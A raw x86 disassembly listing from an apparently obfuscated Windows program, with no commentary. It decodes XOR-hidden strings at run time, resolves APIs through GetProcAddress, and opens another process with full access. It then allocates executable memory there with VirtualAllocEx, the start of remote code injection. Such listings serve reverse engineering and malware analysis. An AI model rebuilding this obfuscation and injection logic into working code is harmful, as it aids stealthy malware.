mov dword [ebp - 0x19c4], 0x8d84d620
mov dword [ebp - 0x19c0], 0x4ca9096a
mov dword [ebp - 0x19bc], 0xe14dbf41
call fcn.0045f450
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x19b8], 0xe2c99ad7
mov dword [ebp - 0x19b4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x19b0], 0x6387f0e8
mov dword [ebp - 0x19ac], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x19a8], 0x81dffb59
lea eax, [ebp - 0x1998]
mov dword [ebp - 0x19a4], 0x8d84d620
push eax
lea eax, [ebp - 0x19b8]
mov dword [ebp - 0x848], 0x4ca9096a
push eax
lea ecx, [ebp - 0x31a0]
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x19a0], 0x4ca9096a
mov dword [ebp - 0x199c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1978]
mov dword [ebp - 0xce0], 0xe2ba9aba
push eax
lea eax, [ebp - 0x1998]
mov dword [ebp - 0xcdc], 0xe3bc9378
push eax
lea ecx, [ebp - 0x3198]
mov dword [ebp - 0x1998], 0xe2ba9aba
mov dword [ebp - 0x1994], 0xe3bc9378
mov dword [ebp - 0xcd8], 0x63f3f09a
mov dword [ebp - 0xcd4], 0xba414921
mov dword [ebp - 0x1990], 0x63f3f09a
mov dword [ebp - 0x198c], 0xba414921
mov dword [ebp - 0xcd0], 0x81b3fb35
mov dword [ebp - 0xccc], 0x8d84d620
mov dword [ebp - 0x1988], 0x81b3fb35
mov dword [ebp - 0x1984], 0x8d84d620
mov dword [ebp - 0xcc8], 0x4ca9096a
mov dword [ebp - 0xcc4], 0xe14dbf41
mov dword [ebp - 0x1980], 0x4ca9096a
mov dword [ebp - 0x197c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xce0]
pxor xmm1, xmmword [ebp - 0xce0]
movaps xmmword [ebp - 0xce0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcd0]
push eax
movaps xmmword [ebp - 0xcd0], xmm1
call edi
mov edi, eax
mov dword [ebp - 0x2eb0], 0x91baff9a
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0x2eac], 0xa1baf46f
push eax
lea eax, [ebp - 0x2eb0]
mov dword [ebp - 0x2ea8], 0x63c68887
push eax
lea ecx, [ebp - 0x3190]
mov dword [ebp - 0x2ea4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2eb0]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2ec0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x2ec0], 0xe2c99ad7
mov dword [ebp - 0x2ebc], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2eb8], 0x6387f0e8
mov dword [ebp - 0x2eb4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2ec0]
mov dword [ebp - 0xa30], 0x91baff9a
push eax
lea eax, [ebp - 0x2ed0]
mov dword [ebp - 0xa2c], 0xa1baf46f
push eax
lea ecx, [ebp - 0x3180]
mov dword [ebp - 0x2ed0], 0x91baff9a
mov dword [ebp - 0x2ecc], 0xa1baf46f
mov dword [ebp - 0xa28], 0x63c68887
mov dword [ebp - 0xa24], 0xba25490f
mov dword [ebp - 0x2ec8], 0x63c68887
mov dword [ebp - 0x2ec4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa30]
lea eax, [ebp - 0xa30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa30], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2990], eax
lea ecx, [ebp - 0x3178]
lea eax, [ebp - 0x1958]
mov dword [ebp - 0x1978], 0xafbdff90
push eax
lea eax, [ebp - 0x1978]
mov dword [ebp - 0x1974], 0x8faaf761
push eax
mov dword [ebp - 0x1970], 0xde6b88d
mov dword [ebp - 0x196c], 0xed40256b
mov dword [ebp - 0x1968], 0x81dffb59
mov dword [ebp - 0x1964], 0x8d84d620
mov dword [ebp - 0x1960], 0x4ca9096a
mov dword [ebp - 0x195c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1938]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1958]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x1958], 0xe2c99ad7
mov dword [ebp - 0x1954], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1950], 0x6387f0e8
mov dword [ebp - 0x194c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1948], 0x81dffb59
mov dword [ebp - 0x1944], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1940], 0x4ca9096a
mov dword [ebp - 0x193c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1918]
mov dword [ebp - 0xea0], 0xafbdff90
push eax
lea eax, [ebp - 0x1938]
mov dword [ebp - 0xe9c], 0x8faaf761
push eax
lea ecx, [ebp - 0x3168]
mov dword [ebp - 0x1938], 0xafbdff90
mov dword [ebp - 0x1934], 0x8faaf761
mov dword [ebp - 0xe98], 0xde6b88d
mov dword [ebp - 0xe94], 0xed40256b
mov dword [ebp - 0x1930], 0xde6b88d
mov dword [ebp - 0x192c], 0xed40256b
mov dword [ebp - 0xe90], 0x81dffb59
mov dword [ebp - 0xe8c], 0x8d84d620
mov dword [ebp - 0x1928], 0x81dffb59
mov dword [ebp - 0x1924], 0x8d84d620
mov dword [ebp - 0xe88], 0x4ca9096a
mov dword [ebp - 0xe84], 0xe14dbf41
mov dword [ebp - 0x1920], 0x4ca9096a
mov dword [ebp - 0x191c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xea0]
pxor xmm1, xmmword [ebp - 0xea0]
mov esi, dword [ebp - 0x2b2c]
movaps xmmword [ebp - 0xea0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe90]
push eax
push esi
movaps xmmword [ebp - 0xe90], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2994], eax
mov dword [ebp - 0x2ee0], 0x86a8f59b
mov dword [ebp - 0x2edc], 0x91bdfa42
mov dword [ebp - 0x2ed8], 0x34fe8289
lea eax, [ebp - 0x2ed0]
mov dword [ebp - 0x2ed4], 0xba25490f
push eax
lea eax, [ebp - 0x2ee0]
push eax
lea ecx, [ebp - 0x3160]
call fcn.0045f450
lea eax, [ebp - 0x2ee0]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2ef0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3158]
mov dword [ebp - 0x2ef0], 0xe2c99ad7
mov dword [ebp - 0x2eec], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2ee8], 0x6387f0e8
mov dword [ebp - 0x2ee4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2ef0]
mov dword [ebp - 0x9b0], 0x86a8f59b
push eax
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x9ac], 0x91bdfa42
push eax
lea ecx, [ebp - 0x3150]
mov dword [ebp - 0x2f00], 0x86a8f59b
mov dword [ebp - 0x2efc], 0x91bdfa42
mov dword [ebp - 0x9a8], 0x34fe8289
mov dword [ebp - 0x9a4], 0xba25490f
mov dword [ebp - 0x2ef8], 0x34fe8289
mov dword [ebp - 0x2ef4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9b0]
lea eax, [ebp - 0x9b0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0x9b0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2998], eax
lea ecx, [ebp - 0x3148]
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x2f10], 0x87acf684
push eax
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x2f0c], 0xe3df937e
push eax
mov dword [ebp - 0x2f08], 0x6387f0e8
mov dword [ebp - 0x2f04], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2f20]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3140]
mov dword [ebp - 0x2f20], 0xe2c99ad7
mov dword [ebp - 0x2f1c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2f18], 0x6387f0e8
mov dword [ebp - 0x2f14], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2f20]
mov dword [ebp - 0xa20], 0x87acf684
push eax
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0xa1c], 0xe3df937e
push eax
lea ecx, [ebp - 0x3138]
mov dword [ebp - 0x2f30], 0x87acf684
mov dword [ebp - 0x2f2c], 0xe3df937e
mov dword [ebp - 0xa18], 0x6387f0e8
mov dword [ebp - 0xa14], 0xba25490f
mov dword [ebp - 0x2f28], 0x6387f0e8
mov dword [ebp - 0x2f24], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xa20]
pxor xmm1, xmmword [ebp - 0xa20]
push eax
push esi
movaps xmmword [ebp - 0xa20], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x298c], eax
lea ecx, [ebp - 0x3130]
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0x2f40], 0x8bbbeaa4
push eax
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x2f3c], 0xe3b9e760
push eax
mov dword [ebp - 0x2f38], 0x6387f0e8
mov dword [ebp - 0x2f34], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2f50]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3128]
mov dword [ebp - 0x2f50], 0xe2c99ad7
mov dword [ebp - 0x2f4c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2f48], 0x6387f0e8
mov dword [ebp - 0x2f44], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2f50]
mov dword [ebp - 0x9d0], 0x8bbbeaa4
push eax
lea eax, [ebp - 0x2f60]
mov dword [ebp - 0x9cc], 0xe3b9e760
push eax
lea ecx, [ebp - 0x3120]
mov dword [ebp - 0x2f60], 0x8bbbeaa4
mov dword [ebp - 0x2f5c], 0xe3b9e760
mov dword [ebp - 0x9c8], 0x6387f0e8
mov dword [ebp - 0x9c4], 0xba25490f
mov dword [ebp - 0x2f58], 0x6387f0e8
mov dword [ebp - 0x2f54], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0x9d0]
pxor xmm1, xmmword [ebp - 0x9d0]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmmword [ebp - 0x9d0], xmm1
call edi
mov dword [ebp - 0x2984], eax
lea ecx, [ebp - 0x3118]
lea eax, [ebp - 0x2f60]
mov dword [ebp - 0x2f70], 0xaebdff90
push eax
lea eax, [ebp - 0x2f70]
mov dword [ebp - 0x2f6c], 0xa6abe06f
push eax
mov dword [ebp - 0x2f68], 0x11e8829a
mov dword [ebp - 0x2f64], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2c00]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2c10]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3110]
mov dword [ebp - 0x2c10], 0xe2c99ad7
mov dword [ebp - 0x2c0c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2c08], 0x6387f0e8
mov dword [ebp - 0x2c04], 0xba25490f
call fcn.0045f450
mov dword [ebp - 0x9e0], 0xaebdff90
mov dword [ebp - 0x9dc], 0xa6abe06f
lea eax, [ebp - 0x2f70]
mov dword [ebp - 0x2f80], 0xaebdff90
push eax
lea eax, [ebp - 0x2f80]
mov dword [ebp - 0x2f7c], 0xa6abe06f
push eax
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x9d8], 0x11e8829a
mov dword [ebp - 0x9d4], 0xba25490f
mov dword [ebp - 0x2f78], 0x11e8829a
mov dword [ebp - 0x2f74], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9e0]
lea eax, [ebp - 0x9e0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0x9e0], xmm1
call edi
mov dword [ebp - 0x2988], eax
call fcn.0044d300
test al, al
jne 0x45afa5
push 0x10
push 0x66ee58
push 0x66ee60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
nop dword [eax + eax]
mov dword [ebp - 0xcf0], 0x818afb14
lea ecx, [ebp - 0xd00]
mov dword [ebp - 0xcec], 0x8dc5d66c
mov dword [ebp - 0xce8], 0x4ce6093e
mov dword [ebp - 0xce4], 0xe14dbf13
mov dword [ebp - 0xd00], 0xe2879a96
mov dword [ebp - 0xcfc], 0xe38d934a
mov dword [ebp - 0xcf8], 0x63cef0a7
mov dword [ebp - 0xcf4], 0xba60494b
movaps xmm0, xmmword [ebp - 0xd00]
pxor xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd00], xmm0
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcf0]
movaps xmmword [ebp - 0xcf0], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2b2c], edi
test edi, edi
jne 0x45b1dc
mov dword [ebp - 0x1130], 0x818bfb10
lea ecx, [ebp - 0x1140]
mov dword [ebp - 0x112c], 0x8dcad661
mov dword [ebp - 0x1128], 0x4cec0944
mov dword [ebp - 0x1124], 0xe108bf19
mov dword [ebp - 0x1120], 0x7fb865fb
mov dword [ebp - 0x111c], 0xc417afd2
mov dword [ebp - 0x1118], 0x7d0df9c
mov dword [ebp - 0x1114], 0xed779233
mov dword [ebp - 0x1140], 0xe29b9a87
mov dword [ebp - 0x113c], 0xe3959341
mov dword [ebp - 0x1138], 0x63c4f0ad
mov dword [ebp - 0x1134], 0xba71495b
movaps xmm1, xmmword [ebp - 0x1140]
mov dword [ebp - 0x8a0], 0xe2c99ad7
mov dword [ebp - 0x89c], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1140], xmm1
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1130]
movaps xmmword [ebp - 0x1130], xmm1
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1120]
movaps xmmword [ebp - 0x1120], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2b2c], eax
push 0x32
call esi
test edi, edi
je 0x45b000
push 0x1f4
call esi
lea eax, [ebp - 0x2f80]
mov dword [ebp - 0x2f90], 0xd88dd387
push eax
lea eax, [ebp - 0x2f90]
mov dword [ebp - 0x2f8c], 0xe9bbb62e
push eax
lea ecx, [ebp - 0x3100]
mov dword [ebp - 0x2f88], 0x6387f0e8
mov dword [ebp - 0x2f84], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2f90]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2fa0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x30f8]
mov dword [ebp - 0x2fa0], 0xe2c99ad7
mov dword [ebp - 0x2f9c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2f98], 0x6387f0e8
mov dword [ebp - 0x2f94], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2fa0]
mov dword [ebp - 0x9f0], 0xd88dd387
push eax
lea eax, [ebp - 0x2fb0]
mov dword [ebp - 0x9ec], 0xe9bbb62e
push eax
lea ecx, [ebp - 0x30f0]
mov dword [ebp - 0x2fb0], 0xd88dd387
mov dword [ebp - 0x2fac], 0xe9bbb62e
mov dword [ebp - 0x9e8], 0x6387f0e8
mov dword [ebp - 0x9e4], 0xba25490f
mov dword [ebp - 0x2fa8], 0x6387f0e8
mov dword [ebp - 0x2fa4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9f0]
lea eax, [ebp - 0x9f0]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0x9f0], xmm1
call fcn.0044b300
add esp, 8
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2b3c], esi
test esi, esi
jne 0x45b649
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f78], 0x8cacea98
lea eax, [ebp - 0x1f48]
mov dword [ebp - 0x1f74], 0x80b0e15e
push eax
lea eax, [ebp - 0x1f78]
mov dword [ebp - 0x1f70], 0x43f4838d
push eax
lea ecx, [ebp - 0x30e8]
mov dword [ebp - 0x1f6c], 0xd64c2869
mov dword [ebp - 0x1f68], 0xf6ff9f3c
mov dword [ebp - 0x1f64], 0xadeca249
mov dword [ebp - 0x1f60], 0x29cd6609
mov dword [ebp - 0x1f5c], 0xeb299a61
mov dword [ebp - 0x1f58], 0x7fb865fb
mov dword [ebp - 0x1f54], 0xc417afd2
mov dword [ebp - 0x1f50], 0x7d0df9c
mov dword [ebp - 0x1f4c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1e58]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1e88]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x30e0]
mov dword [ebp - 0x1e88], 0xe2c99ad7
mov dword [ebp - 0x1e84], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1e80], 0x6387f0e8
mov dword [ebp - 0x1e7c], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1e78], 0x81dffb59
mov dword [ebp - 0x1e74], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1e70], 0x4ca9096a
mov dword [ebp - 0x1e6c], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1e68], 0x7fb865fb
mov dword [ebp - 0x1e64], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1e60], 0x7d0df9c
mov dword [ebp - 0x1e5c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1f78]
mov dword [ebp - 0x1110], 0x8cacea98
push eax
lea eax, [ebp - 0x1fa8]
mov dword [ebp - 0x110c], 0x80b0e15e
push eax
lea ecx, [ebp - 0x30d8]
mov dword [ebp - 0x1fa8], 0x8cacea98
mov dword [ebp - 0x1fa4], 0x80b0e15e
mov dword [ebp - 0x1108], 0x43f4838d
mov dword [ebp - 0x1104], 0xd64c2869
mov dword [ebp - 0x1fa0], 0x43f4838d
mov dword [ebp - 0x1f9c], 0xd64c2869
mov dword [ebp - 0x1100], 0xf6ff9f3c
mov dword [ebp - 0x10fc], 0xadeca249
mov dword [ebp - 0x1f98], 0xf6ff9f3c
mov dword [ebp - 0x1f94], 0xadeca249
mov dword [ebp - 0x10f8], 0x29cd6609
mov dword [ebp - 0x10f4], 0xeb299a61
mov dword [ebp - 0x1f90], 0x29cd6609
mov dword [ebp - 0x1f8c], 0xeb299a61
mov dword [ebp - 0x10f0], 0x7fb865fb
mov dword [ebp - 0x10ec], 0xc417afd2
mov dword [ebp - 0x1f88], 0x7fb865fb
mov dword [ebp - 0x1f84], 0xc417afd2
mov dword [ebp - 0x10e8], 0x7d0df9c
mov dword [ebp - 0x10e4], 0xed779233
mov dword [ebp - 0x1f80], 0x7d0df9c
mov dword [ebp - 0x1f7c], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x1110]
pxor xmm1, xmmword [ebp - 0x1110]
movaps xmmword [ebp - 0x1110], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1100]
movaps xmmword [ebp - 0x1100], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x10f0]
push esi
push eax
movaps xmmword [ebp - 0x10f0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 0x40
push 0x3000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2b44], eax
test eax, eax
jne 0x45b96f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1eb8], 0x96bbf381
lea eax, [ebp - 0x1e88]
mov dword [ebp - 0x1eb4], 0xa2b3f27b
push eax
lea eax, [ebp - 0x1eb8]
mov dword [ebp - 0x1eb0], 0xe89c84
push eax
lea ecx, [ebp - 0x30d0]
mov dword [ebp - 0x1eac], 0xdc05314a
mov dword [ebp - 0x1ea8], 0xe4b39238
mov dword [ebp - 0x1ea4], 0xe4f3f644
mov dword [ebp - 0x1ea0], 0x2f89611e
mov dword [ebp - 0x1e9c], 0xc128db2e
mov dword [ebp - 0x1e98], 0x7fb201de
mov dword [ebp - 0x1e94], 0xc417afd2
mov dword [ebp - 0x1e90], 0x7d0df9c
mov dword [ebp - 0x1e8c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1eb8]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1ee8]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x30c8]
mov dword [ebp - 0x1ee8], 0xe2c99ad7
mov dword [ebp - 0x1ee4], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1ee0], 0x6387f0e8
mov dword [ebp - 0x1edc], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1ed8], 0x81dffb59
mov dword [ebp - 0x1ed4], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1ed0], 0x4ca9096a
mov dword [ebp - 0x1ecc], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1ec8], 0x7fb865fb
mov dword [ebp - 0x1ec4], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1ec0], 0x7d0df9c
mov dword [ebp - 0x1ebc], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1ee8]
mov dword [ebp - 0x1020], 0x96bbf381
push eax
lea eax, [ebp - 0x1f18]
mov dword [ebp - 0x101c], 0xa2b3f27b
push eax
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x1f18], 0x96bbf381
mov dword [ebp - 0x1f14], 0xa2b3f27b
mov dword [ebp - 0x1018], 0xe89c84
mov dword [ebp - 0x1014], 0xdc05314a
mov dword [ebp - 0x1f10], 0xe89c84
mov dword [ebp - 0x1f0c], 0xdc05314a
mov dword [ebp - 0x1010], 0xe4b39238
mov dword [ebp - 0x100c], 0xe4f3f644
mov dword [ebp - 0x1f08], 0xe4b39238
mov dword [ebp - 0x1f04], 0xe4f3f644
mov dword [ebp - 0x1008], 0x2f89611e
mov dword [ebp - 0x1004], 0xc128db2e
mov dword [ebp - 0x1f00], 0x2f89611e
mov dword [ebp - 0x1efc], 0xc128db2e
mov dword [ebp - 0x1000], 0x7fb201de
mov dword [ebp - 0xffc], 0xc417afd2
mov dword [ebp - 0x1ef8], 0x7fb201de
mov dword [ebp - 0x1ef4], 0xc417afd2
mov dword [ebp - 0xff8], 0x7d0df9c
mov dword [ebp - 0xff4], 0xed779233
mov dword [ebp - 0x1ef0], 0x7d0df9c
mov dword [ebp - 0x1eec], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x1020]
pxor xmm1, xmmword [ebp - 0x1020]
movaps xmmword [ebp - 0x1020], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1010]
movaps xmmword [ebp - 0x1010], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1000]
push esi
push eax
movaps xmmword [ebp - 0x1000], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 4
push 0x1000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2b40], eax
test eax, eax
jne 0x45bc95
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f48], 0xc294a88c
lea eax, [ebp - 0x1f18]
mov dword [ebp - 0x1f44], 0x97adfa58
push eax
lea eax, [ebp - 0x1f48]
mov dword [ebp - 0x1f40], 0x22eb919d
push eax
lea ecx, [ebp - 0x30b8]
mov dword [ebp - 0x1f3c], 0xd94a2563
mov dword [ebp - 0x1f38], 0xe7ff831c
mov dword [ebp - 0x1f34], 0xe8e8bf41
mov dword [ebp - 0x1f30], 0x25de290e
mov dword [ebp - 0x1f2c], 0x826dd735
mov dword [ebp - 0x1f28], 0x5fdd0194
mov dword [ebp - 0x1f24], 0xc41dcbf7
mov dword [ebp - 0x1f20], 0x7d0df9c
mov dword [ebp - 0x1f1c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1a38]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1a68]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x30b0]
mov dword [ebp - 0x1a68], 0xe2c99ad7
mov dword [ebp - 0x1a64], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1a60], 0x6387f0e8
mov dword [ebp - 0x1a5c], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1a58], 0x81dffb59
mov dword [ebp - 0x1a54], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1a50], 0x4ca9096a
mov dword [ebp - 0x1a4c], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1a48], 0x7fb865fb
mov dword [ebp - 0x1a44], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1a40], 0x7d0df9c
mov dword [ebp - 0x1a3c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1a68]
mov dword [ebp - 0x10e0], 0xc294a88c
push eax
lea eax, [ebp - 0x1a98]
mov dword [ebp - 0x10dc], 0x97adfa58
push eax
lea ecx, [ebp - 0x30a8]
mov dword [ebp - 0x1a98], 0xc294a88c
mov dword [ebp - 0x1a94], 0x97adfa58
mov dword [ebp - 0x10d8], 0x22eb919d
